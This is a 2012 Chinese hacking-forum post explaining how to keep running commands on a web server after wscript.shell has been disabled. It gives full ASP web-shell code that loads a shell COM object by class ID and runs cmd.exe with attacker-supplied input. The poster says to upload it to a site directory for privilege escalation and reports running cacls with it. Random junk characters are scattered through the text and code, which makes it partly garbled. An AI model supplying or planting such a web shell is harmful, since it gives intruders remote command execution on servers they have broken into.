找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1874|回复: 0
打印 上一主题 下一主题

wscript.shell删除解决办法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:36:53 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
可能有很多人,看到关闭了wscript.shell,就感觉没提权的希望了。就会放弃。% z8 [& V% ]( E
一般当闭上面组件时,你上传cmd.exe到上面去是运行不了命令的。运行时会说出错。
8 |; }2 j$ m2 h$ Q/ |- u) X要想让运行命令可以试试这种方法,成功率为五五之数。3 P  X% ~% R$ ]  O. s& G
把下面代码复制:; u2 K/ f  H9 s" L3 l$ S
<object runat=server id=oScriptlhn scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>) h7 u  J0 S4 \6 t6 L
<%if err then%>
% K# W. s/ u8 v2 H  W<object runat=server id=oScriptlhn scope=page classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object>7 {8 P4 y; `3 V* ]
<%2 A+ w/ h) k( r" h
end if
* m& S8 Y* d. [4 M* yresponse.write("<textarea readonly cols=80 rows=20>")
! S  O/ `5 j. @6 K- m. T: ]- OOn Error Resume Next
& D/ g# g) C+ _0 B" wresponse.write oScriptlhn.exec("cmd.exe /c" & request("c")).stdout.readall
4 M! ]' Q3 k$ s3 I4 j+ Tresponse.write("</textarea>"): Y4 Q+ t- Y( u% I
response.write("<form method='post'>")
6 Z. g$ a4 c2 D3 N* d7 nresponse.write("<input type=text name='c' size=60><br>")5 b+ ]5 h0 K; l% p  n# s
response.write("<input type=submit value='执行'></form>")
3 s: F3 _& ?# F( G3 s%>
# ?  L6 l5 ^5 |8 k* @& W% d% K0 X, ~5 E) @; h0 H
保存为一个asp文件,然后传到网站目录上去
! H* z5 p- E1 D. t% ?运行的时候可能会出现两个问题,第一是运行了为什么运行不了命令,这个你可以试着再上传个cmd.exe然后把路径写入上面代码。) S" r% U% d1 G  c/ B  Z: C
我用此成功运行过cacls命令。
3 Q/ g' Z0 J! K7 Z; Y2 ^+ T# l, J* _
第二那就是运行时出错,可能限制某些代码执行
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表